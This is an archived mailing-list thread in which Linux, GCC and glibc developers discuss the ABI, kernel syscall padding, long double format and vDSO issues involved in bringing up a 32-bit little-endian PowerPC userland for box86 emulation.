> > Are you sure this would be a new port? Glibc already works in this 
> > combination, as it seems to me it'd be best if it was just a variant of 
> > the existing 32-bit PowerPC port, sharing most conventions besides 
> > endianness with the BE port.
> 
> The supported glibc ABIs are listed at 
> <https://sourceware.org/glibc/wiki/ABIList>.  This would be a new ABI, 
> which should have a new ABI-and-architecture-specific dynamic linker name 
> (all new ports are expected to have a unique dynamic linker name for each 
> ABI, to support systems using multiarch directory arrangements), new 
> symbol versions and avoid legacy features such as 32-bit time or offsets 
> or IBM long double.
> 
> > 128-bit IEEE long double would not work, since that relies on VSX being 
> > present (gcc will explicitly complain if it's not). I'd be all for using 
> 
> The minimum supported architecture for powerpc64le (POWER8) has VSX.  My 
> understanding was that the suggestion was for 32-bit userspace to run 
> under powerpc64le kernels running on POWER8 or later, meaning that such a 
> 32-bit LE port, and any ABI designed for such a port, can assume VSX is 
> available.  Or does VSX not work, at the hardware level, for 32-bit 
> POWER8?  (In which case you could pick another ABI for binary128 argument 
> passing and return.)

POWER8 may have VSX (well, actually POWER7 and newer has VSX and can run LE, but glibc does not support this, musl potentially does), but the overall assumption here is that the resulting binaries should eventually not be limited to being just userspace under ppc64le, but should be runnable on a native kernel as well, which should not be limited to any particular baseline other than just PowerPC.

While it should in theory be possible to do IEEE ldbl128 using a different ABI, I don't really see any benefit in this - for one, the baseline hardware doesn't support on any level, it would mean further complicating the ABI, and it would require explicit support in the compiler, which currently doesn't exist. Using 64-bit long doubles sounds like a much better way out to me.

> 
> > There is also one more thing while we're at this. The 64-bit big endian 
> > Void port uses the ELFv2 ABI, even on glibc. This is not officially 
> > supported on glibc as far as I can tell, but it does work out of box, 
> > without any patching (things in general match little endian then, i.e. 
> > ld64.so.2 etc, but they're big endian). Is there any chance of making 
> > that support official?
> 
> If you want to support ELFv2 for 64-bit big endian in glibc, again that 
> should have a unique dynamic linker name, new symbol versions, only 
> binary128 long double, etc. - avoid all the legacy aspects of the existing 
> ELFv1 port rather than selectively saying that "ELFv1" itself is the only 
> legacy aspect and keeping the others (when it's the others that are 
> actually more problematic in glibc).

Again, the BE port cannot use binary128 long double, at least not with the same ABI as on POWER8, since it runs on all 64-bit PowerPC systems starting with 970 (G5, and potentially even POWER4 if built without AltiVec). Unique dynamic linker names are complicated, since as it is, glibc uses ld64.so.1 for ELFv1, and ld64.so.2 for ELFv2. (on 32-bit PowerPC, it's ld.so.1, and uses the SVR4 ABI which is not related to either the AIX/ELFv1 nor the ELFv2 ABIs) If we were to introduce new ports, what would those use? ld64.so.3 for BE/v2? ld.so.2 for LE/32-bit? I can see the reason for a new dynamic linker name though (multi-arch setups).

However, the effective difference between the ports would be rather minimal, if any, as far as I can see. As I already said, we have a whole glibc/ELFv2/BE system, with nearly all of the existing Linux userland covered by the distro, and there haven't been any issues whatsoever.

> 
> -- 
> Joseph S. Myers
> joseph@codesourcery.com
>

Daniel

Re: ppc64le and 32-bit LE userland compatibility

[Joseph Myers]

On Mon, 1 Jun 2020, Joseph Myers wrote:

> The minimum supported architecture for powerpc64le (POWER8) has VSX.  My 
> understanding was that the suggestion was for 32-bit userspace to run 
> under powerpc64le kernels running on POWER8 or later, meaning that such a 
> 32-bit LE port, and any ABI designed for such a port, can assume VSX is 
> available.  Or does VSX not work, at the hardware level, for 32-bit 
> POWER8?  (In which case you could pick another ABI for binary128 argument 
> passing and return.)

In fact, my understanding is that the ABI for passing binary128 values in 
vector registers is perfectly implementable for processors with just VMX 
(AltiVec) and not VSX.  So if you do want to support binary128 for a new 
ABI for either 32-bit LE or 32-bit or 64-bit BE, you don't need to require 
VSX for that ABI, you just need to change any GCC requirement for VSX for 
binary128 to allow it with VMX when building for your new ABI.

-- 
Joseph S. Myers
joseph@codesourcery.com

Re: ppc64le and 32-bit LE userland compatibility

[Joseph Myers]

On Tue, 2 Jun 2020, Daniel Kolesa wrote:

> Are you sure this would be a new port? Glibc already works in this 
> combination, as it seems to me it'd be best if it was just a variant of 
> the existing 32-bit PowerPC port, sharing most conventions besides 
> endianness with the BE port.

The supported glibc ABIs are listed at 
<https://sourceware.org/glibc/wiki/ABIList>.  This would be a new ABI, 
which should have a new ABI-and-architecture-specific dynamic linker name 
(all new ports are expected to have a unique dynamic linker name for each 
ABI, to support systems using multiarch directory arrangements), new 
symbol versions and avoid legacy features such as 32-bit time or offsets 
or IBM long double.

> 128-bit IEEE long double would not work, since that relies on VSX being 
> present (gcc will explicitly complain if it's not). I'd be all for using 

The minimum supported architecture for powerpc64le (POWER8) has VSX.  My 
understanding was that the suggestion was for 32-bit userspace to run 
under powerpc64le kernels running on POWER8 or later, meaning that such a 
32-bit LE port, and any ABI designed for such a port, can assume VSX is 
available.  Or does VSX not work, at the hardware level, for 32-bit 
POWER8?  (In which case you could pick another ABI for binary128 argument 
passing and return.)

> There is also one more thing while we're at this. The 64-bit big endian 
> Void port uses the ELFv2 ABI, even on glibc. This is not officially 
> supported on glibc as far as I can tell, but it does work out of box, 
> without any patching (things in general match little endian then, i.e. 
> ld64.so.2 etc, but they're big endian). Is there any chance of making 
> that support official?

If you want to support ELFv2 for 64-bit big endian in glibc, again that 
should have a unique dynamic linker name, new symbol versions, only 
binary128 long double, etc. - avoid all the legacy aspects of the existing 
ELFv1 port rather than selectively saying that "ELFv1" itself is the only 
legacy aspect and keeping the others (when it's the others that are 
actually more problematic in glibc).

-- 
Joseph S. Myers
joseph@codesourcery.com

Re: ppc64le and 32-bit LE userland compatibility

[Daniel Kolesa]

On Mon, Jun 1, 2020, at 23:28, Joseph Myers wrote:
> On Fri, 29 May 2020, Will Springer via Binutils wrote:
> 
> > Hey all, a couple of us over in #talos-workstation on freenode have been
> > working on an effort to bring up a Linux PowerPC userland that runs in 32-bit
> > little-endian mode, aka ppcle. As far as we can tell, no ABI has ever been
> > designated for this (unless you count the patchset from a decade ago [1]), so
> > it's pretty much uncharted territory as far as Linux is concerned. We want to
> > sync up with libc and the relevant kernel folks to establish the best path
> > forward.
> 
> As a general comment on the glibc side of things, if this is considered 
> like a new port, and it probably is, the same principles that apply to new 
> ports apply here.
> 
> There's a general discussion at 
> <https://sourceware.org/glibc/wiki/NewPorts>, although much of that is 
> only applicable when adding new CPU architecture support.  More specific 
> points include that new 32-bit ports should default to 64-bit time and 
> file offsets from the start, with no support for 32-bit time or offsets 
> (meaning that if you want to use this with some kind of library call 
> translation, the library call translation will need to deal with 
> corresponding type size conversions).  And a new port should not be added 
> that uses the IBM long double format.  You can use IEEE binary128 long 
> double, possibly with an ABI similar to that used on powerpc64le, or can 
> use long double = double, but should not support IBM long double, and 
> preferably should only have one long double format rather than using the 
> glibc support for building with different options resulting in functions 
> for different long double formats being called.

Are you sure this would be a new port? Glibc already works in this combination, as it seems to me it'd be best if it was just a variant of the existing 32-bit PowerPC port, sharing most conventions besides endianness with the BE port.

128-bit IEEE long double would not work, since that relies on VSX being present (gcc will explicitly complain if it's not). I'd be all for using 64-bit long double, though (musl already does, on all ppc ports).

While we're at long double, I'd actually be interested in transitioning the existing big endian ports in Void (64-bit and 32-bit, neither has VSX baseline requirement in my case) to using 64-bit long double, abandoning the IBM format altogether (little endian will transition to 128-bit IEEE long double once it's ready on your side, as that assumes POWER8 baseline which includes VSX).

What would be the best way for me to proceed with that? I actually experimented with this, using the old glibc compat symbols from pre-ibm128 times, and I mostly had it working, except I haven't managed to find a way to switch the default symbols to 64-bit ones, which is problematic as linking everything against nldbl_nonshared is fragile and potentially quirky (breaks dlsym, function pointer equality across libraries, etc).

There is also one more thing while we're at this. The 64-bit big endian Void port uses the ELFv2 ABI, even on glibc. This is not officially supported on glibc as far as I can tell, but it does work out of box, without any patching (things in general match little endian then, i.e. ld64.so.2 etc, but they're big endian). Is there any chance of making that support official?

> 
> -- 
> Joseph S. Myers
> joseph@codesourcery.com
>

Daniel

Re: ppc64le and 32-bit LE userland compatibility

[Joseph Myers]

On Fri, 29 May 2020, Will Springer via Binutils wrote:

> Hey all, a couple of us over in #talos-workstation on freenode have been
> working on an effort to bring up a Linux PowerPC userland that runs in 32-bit
> little-endian mode, aka ppcle. As far as we can tell, no ABI has ever been
> designated for this (unless you count the patchset from a decade ago [1]), so
> it's pretty much uncharted territory as far as Linux is concerned. We want to
> sync up with libc and the relevant kernel folks to establish the best path
> forward.

As a general comment on the glibc side of things, if this is considered 
like a new port, and it probably is, the same principles that apply to new 
ports apply here.

There's a general discussion at 
<https://sourceware.org/glibc/wiki/NewPorts>, although much of that is 
only applicable when adding new CPU architecture support.  More specific 
points include that new 32-bit ports should default to 64-bit time and 
file offsets from the start, with no support for 32-bit time or offsets 
(meaning that if you want to use this with some kind of library call 
translation, the library call translation will need to deal with 
corresponding type size conversions).  And a new port should not be added 
that uses the IBM long double format.  You can use IEEE binary128 long 
double, possibly with an ABI similar to that used on powerpc64le, or can 
use long double = double, but should not support IBM long double, and 
preferably should only have one long double format rather than using the 
glibc support for building with different options resulting in functions 
for different long double formats being called.

-- 
Joseph S. Myers
joseph@codesourcery.com

Re: ppc64le and 32-bit LE userland compatibility

[Segher Boessenkool]

On Sun, May 31, 2020 at 12:57:12AM +0000, Will Springer wrote:
> On Saturday, May 30, 2020 12:22:12 PM PDT Segher Boessenkool wrote:
> > The original sysv PowerPC supplement
> > http://refspecs.linux-foundation.org/elf/elfspec_ppc.pdf
> > supports LE as well, and most powerpcle ports use that.  But, the
> > big-endian Linux ABI differs in quite a few places, and it of course
> > makes a lot better sense if powerpcle-linux follows that.
> 
> Right, I should have clarified I was talking about Linux ABIs 
> specifically.

That was the link you deleted.

> > What patches did you need?  I regularly build >30 cross compilers (on
> > both BE and LE hosts; I haven't used 32-bit hosts for a long time, but
> > in the past those worked fine as well).  I also cross-built
> > powerpcle-linux-gcc quite a few times (from powerpc64le, from powerpc64,
> > from various x86).
> 
> There was just an assumption that LE == powerpc64le in libgo, spotted by 
> q66 (daniel@ on the CC). I just pushed the patch to [1].

Please send GCC patches to gcc-patches@ ?

> > Almost no project that used 32-bit PowerPC in LE mode has sent patches
> > to the upstreams.
> 
> Right, but I have heard concerns from at least one person familiar with 
> the ppc kernel about breaking existing users of this arch-endianness 
> combo, if any. It seems likely that none of those use upstream, though ^^;

So we don't care, because we *cannot* care.

> > A huge factor in having good GCC support for powerpcle-linux (or
> > anything else) is someone needs to regularly test it, and share test
> > results with us (via gcc-testresults@).  Hint hint hint :-)
> > 
> > That way we know it is in good shape, know when we are regressing it,
> > know there is interest in it.
> 
> Once I have more of a bootstrapped userland than a barely-functional 
> cross chroot, I'll get back to you on that :)

Cool!  Looking forward to it.

Thanks,


Segher

Re: ppc64le and 32-bit LE userland compatibility

[Will Springer]

On Saturday, May 30, 2020 12:22:12 PM PDT Segher Boessenkool wrote:
> The original sysv PowerPC supplement
> http://refspecs.linux-foundation.org/elf/elfspec_ppc.pdf
> supports LE as well, and most powerpcle ports use that.  But, the
> big-endian Linux ABI differs in quite a few places, and it of course
> makes a lot better sense if powerpcle-linux follows that.

Right, I should have clarified I was talking about Linux ABIs 
specifically.

> What patches did you need?  I regularly build >30 cross compilers (on
> both BE and LE hosts; I haven't used 32-bit hosts for a long time, but
> in the past those worked fine as well).  I also cross-built
> powerpcle-linux-gcc quite a few times (from powerpc64le, from powerpc64,
> from various x86).

There was just an assumption that LE == powerpc64le in libgo, spotted by 
q66 (daniel@ on the CC). I just pushed the patch to [1].

> Almost no project that used 32-bit PowerPC in LE mode has sent patches
> to the upstreams.

Right, but I have heard concerns from at least one person familiar with 
the ppc kernel about breaking existing users of this arch-endianness 
combo, if any. It seems likely that none of those use upstream, though ^^;

> The ABI says long longs are passed in the same order in registers as it
> would be in memory; so the high part and the low part are swapped
> between BE and LE.  Which registers make up a pair is exactly the same
> between the two.  (You can verify this with an existing powerpcle-*
> compiler, too; I did, and we implement it correctly as far as I can
> see).

I'll give it a closer look. This is my first time poking at this sort of 
thing in depth, so excuse my unfamiliarity!

> A huge factor in having good GCC support for powerpcle-linux (or
> anything else) is someone needs to regularly test it, and share test
> results with us (via gcc-testresults@).  Hint hint hint :-)
> 
> That way we know it is in good shape, know when we are regressing it,
> know there is interest in it.

Once I have more of a bootstrapped userland than a barely-functional 
cross chroot, I'll get back to you on that :)
 
> gl;hf,
> 
> 
> Segher

Thanks,
Will [she/her]

[1]: https://github.com/Skirmisher/void-packages/blob/master/srcpkgs/gcc/patches/libgo-ppcle.patch

Re: ppc64le and 32-bit LE userland compatibility

[Will Springer]

On Saturday, May 30, 2020 8:37:43 AM PDT Christophe Leroy wrote:
> There is a series at
> https://patchwork.ozlabs.org/project/linuxppc-dev/list/?series=173231 to
> switch powerpc to the Generic C VDSO.
> 
> Can you try and see whether it fixes your issue ?
> 
> Christophe

Sure thing, I spotted that after making the initial post. Will report back 
with results.

Will [she/her]

Re: ppc64le and 32-bit LE userland compatibility

[Segher Boessenkool]

Hi!

On Fri, May 29, 2020 at 07:03:48PM +0000, Will Springer wrote:
> Hey all, a couple of us over in #talos-workstation on freenode have been
> working on an effort to bring up a Linux PowerPC userland that runs in 32-bit
> little-endian mode, aka ppcle. As far as we can tell, no ABI has ever been
> designated for this

https://www.polyomino.org.uk/publications/2011/Power-Arch-32-bit-ABI-supp-1.0-Embedded.pdf

> (unless you count the patchset from a decade ago [1]), so

The original sysv PowerPC supplement
http://refspecs.linux-foundation.org/elf/elfspec_ppc.pdf
supports LE as well, and most powerpcle ports use that.  But, the
big-endian Linux ABI differs in quite a few places, and it of course
makes a lot better sense if powerpcle-linux follows that.

> it's pretty much uncharted territory as far as Linux is concerned. We want to
> sync up with libc and the relevant kernel folks to establish the best path
> forward.
> 
> The practical application that drove these early developments (as you might
> expect) is x86 emulation. The box86 project [2] implements a translation layer
> for ia32 library calls to native architecture ones; this way, emulation
> overhead is significantly reduced by relying on native libraries where
> possible (libc, libGL, etc.) instead of emulating an entire x86 userspace.
> box86 is primarily targeted at ARM, but it can be adapted to other
> architectures—so long as they match ia32's 32-bit, little-endian nature. Hence
> the need for a ppcle userland; modern POWER brought ppc64le as a supported
> configuration, but without a 32-bit equivalent there is no option for a 32/64
> multilib environment, as seen with ppc/ppc64 and arm/aarch64.
> 
> Surprisingly, beyond minor patching of gcc to get crosscompile going,

What patches did you need?  I regularly build >30 cross compilers (on
both BE and LE hosts; I haven't used 32-bit hosts for a long time, but
in the past those worked fine as well).  I also cross-built
powerpcle-linux-gcc quite a few times (from powerpc64le, from powerpc64,
from various x86).

> bootstrapping the initial userland was not much of a problem. The work has
> been done on top of the Void Linux PowerPC project [3], and much of that is
> now present in its source package tree [4].
> 
> The first issue with running the userland came from the ppc32 signal handler 
> forcing BE in the MSR, causing any 32LE process receiving a signal (such as a 
> shell receiving SIGCHLD) to terminate with SIGILL. This was trivially patched, 

Heh :-)

> along with enabling the 32-bit vDSO on ppc64le kernels [5]. (Given that this 
> behavior has been in place since 2006, I don't think anyone has been using the 
> kernel in this state to run ppcle userlands.)

Almost no project that used 32-bit PowerPC in LE mode has sent patches
to the upstreams.

> The next problem concerns the ABI more directly. The failure mode was `file`
> surfacing EINVAL from pread64 when invoked on an ELF; pread64 was passed a
> garbage value for `pos`, which didn't appear to be caused by anything in 
> `file`. Initially it seemed as though the 32-bit components of the arg were
> getting swapped, and we made hacky fixes to glibc and musl to put them in the
> "right order"; however, we weren't sure if that was the correct approach, or
> if there were knock-on effects we didn't know about. So we found the relevant
> compat code path in the kernel, at arch/powerpc/kernel/sys_ppc32.c, where
> there exists this comment:
> 
> > /*
> >  * long long munging:
> >  * The 32 bit ABI passes long longs in an odd even register pair.
> >  */
> 
> It seems that the opposite is true in LE mode, and something is expecting long
> longs to start on an even register. I realized this after I tried swapping hi/
> lo `u32`s here and didn't see an improvement. I whipped up a patch [6] that
> switches which syscalls use padding arguments depending on endianness, while
> hopefully remaining tidy enough to be unobtrusive. (I took some liberties with
> variable names/types so that the macro could be consistent.)

The ABI says long longs are passed in the same order in registers as it
would be in memory; so the high part and the low part are swapped between
BE and LE.  Which registers make up a pair is exactly the same between
the two.  (You can verify this with an existing powerpcle-* compiler, too;
I did, and we implement it correctly as far as I can see).

> This was enough to fix up the `file` bug. I'm no seasoned kernel hacker,
> though, and there is still concern over the right way to approach this,
> whether it should live in the kernel or libc, etc. Frankly, I don't know the
> ABI structure enough to understand why the register padding has to be
> different in this case, or what lower-level component is responsible for it. 
> For comparison, I had a look at the mips tree, since it's bi-endian and has a 
> similar 32/64 situation. There is a macro conditional upon endianness that is 
> responsible for munging long longs; it uses __MIPSEB__ and __MIPSEL__ instead 
> of an if/else on the generic __LITTLE_ENDIAN__. Not sure what to make of that. 
> (It also simply swaps registers for LE, unlike what I did for ppc.)

But you should :-)

> Also worth noting is the one other outstanding bug, where the time-related
> syscalls in the 32-bit vDSO seem to return garbage. It doesn't look like an
> endian bug to me, and it doesn't affect standard syscalls (which is why if you
> run `date` on musl it prints the correct time, unlike on glibc). The vDSO time
> functions are implemented in ppc asm (arch/powerpc/kernel/vdso32/
> gettimeofday.S), and I've never touched the stuff, so if anyone has a clue I'm 
> all ears.
> 
> Again, I'd appreciate feedback on the approach to take here, in order to 
> touch/special-case only the minimum necessary, while keeping the kernel/libc 
> folks happy.

A huge factor in having good GCC support for powerpcle-linux (or anything
else) is someone needs to regularly test it, and share test results with
us (via gcc-testresults@).  Hint hint hint :-)

That way we know it is in good shape, know when we are regressing it,
know there is interest in it.

gl;hf,


Segher

Re: ppc64le and 32-bit LE userland compatibility

[Christophe Leroy]

Le 29/05/2020 à 21:03, Will Springer a écrit :

[...]

> 
> Also worth noting is the one other outstanding bug, where the time-related
> syscalls in the 32-bit vDSO seem to return garbage. It doesn't look like an
> endian bug to me, and it doesn't affect standard syscalls (which is why if you
> run `date` on musl it prints the correct time, unlike on glibc). The vDSO time
> functions are implemented in ppc asm (arch/powerpc/kernel/vdso32/
> gettimeofday.S), and I've never touched the stuff, so if anyone has a clue I'm
> all ears.
> 

There is a series at 
https://patchwork.ozlabs.org/project/linuxppc-dev/list/?series=173231 to 
switch powerpc to the Generic C VDSO.

Can you try and see whether it fixes your issue ?

Christophe

ppc64le and 32-bit LE userland compatibility

[Will Springer]

Hey all, a couple of us over in #talos-workstation on freenode have been
working on an effort to bring up a Linux PowerPC userland that runs in 32-bit
little-endian mode, aka ppcle. As far as we can tell, no ABI has ever been
designated for this (unless you count the patchset from a decade ago [1]), so
it's pretty much uncharted territory as far as Linux is concerned. We want to
sync up with libc and the relevant kernel folks to establish the best path
forward.

The practical application that drove these early developments (as you might
expect) is x86 emulation. The box86 project [2] implements a translation layer
for ia32 library calls to native architecture ones; this way, emulation
overhead is significantly reduced by relying on native libraries where
possible (libc, libGL, etc.) instead of emulating an entire x86 userspace.
box86 is primarily targeted at ARM, but it can be adapted to other
architectures—so long as they match ia32's 32-bit, little-endian nature. Hence
the need for a ppcle userland; modern POWER brought ppc64le as a supported
configuration, but without a 32-bit equivalent there is no option for a 32/64
multilib environment, as seen with ppc/ppc64 and arm/aarch64.

Surprisingly, beyond minor patching of gcc to get crosscompile going,
bootstrapping the initial userland was not much of a problem. The work has
been done on top of the Void Linux PowerPC project [3], and much of that is
now present in its source package tree [4].

The first issue with running the userland came from the ppc32 signal handler 
forcing BE in the MSR, causing any 32LE process receiving a signal (such as a 
shell receiving SIGCHLD) to terminate with SIGILL. This was trivially patched, 
along with enabling the 32-bit vDSO on ppc64le kernels [5]. (Given that this 
behavior has been in place since 2006, I don't think anyone has been using the 
kernel in this state to run ppcle userlands.)

The next problem concerns the ABI more directly. The failure mode was `file`
surfacing EINVAL from pread64 when invoked on an ELF; pread64 was passed a
garbage value for `pos`, which didn't appear to be caused by anything in 
`file`. Initially it seemed as though the 32-bit components of the arg were
getting swapped, and we made hacky fixes to glibc and musl to put them in the
"right order"; however, we weren't sure if that was the correct approach, or
if there were knock-on effects we didn't know about. So we found the relevant
compat code path in the kernel, at arch/powerpc/kernel/sys_ppc32.c, where
there exists this comment:

> /*
>  * long long munging:
>  * The 32 bit ABI passes long longs in an odd even register pair.
>  */

It seems that the opposite is true in LE mode, and something is expecting long
longs to start on an even register. I realized this after I tried swapping hi/
lo `u32`s here and didn't see an improvement. I whipped up a patch [6] that
switches which syscalls use padding arguments depending on endianness, while
hopefully remaining tidy enough to be unobtrusive. (I took some liberties with
variable names/types so that the macro could be consistent.)

This was enough to fix up the `file` bug. I'm no seasoned kernel hacker,
though, and there is still concern over the right way to approach this,
whether it should live in the kernel or libc, etc. Frankly, I don't know the
ABI structure enough to understand why the register padding has to be
different in this case, or what lower-level component is responsible for it. 
For comparison, I had a look at the mips tree, since it's bi-endian and has a 
similar 32/64 situation. There is a macro conditional upon endianness that is 
responsible for munging long longs; it uses __MIPSEB__ and __MIPSEL__ instead 
of an if/else on the generic __LITTLE_ENDIAN__. Not sure what to make of that. 
(It also simply swaps registers for LE, unlike what I did for ppc.)

Also worth noting is the one other outstanding bug, where the time-related
syscalls in the 32-bit vDSO seem to return garbage. It doesn't look like an
endian bug to me, and it doesn't affect standard syscalls (which is why if you
run `date` on musl it prints the correct time, unlike on glibc). The vDSO time
functions are implemented in ppc asm (arch/powerpc/kernel/vdso32/
gettimeofday.S), and I've never touched the stuff, so if anyone has a clue I'm 
all ears.

Again, I'd appreciate feedback on the approach to take here, in order to 
touch/special-case only the minimum necessary, while keeping the kernel/libc 
folks happy.

Cheers,
Will [she/her]

(p.s. there is ancillary interest in a ppcle-native kernel as well; that's a 
good deal more work and not the focus of this message at all, but it is a 
topic of interest)

[1]: https://lwn.net/Articles/408845/
[2]: https://github.com/ptitSeb/box86
[3]: https://voidlinux-ppc.org/
[4]: https://github.com/void-ppc/void-packages
[5]: https://gist.github.com/eerykitty/01707dc6bca2be32b4c5e30d15d15dcf
[6]: https://gist.github.com/Skirmisher/02891c1a8cafa0ff18b2460933ef4f3c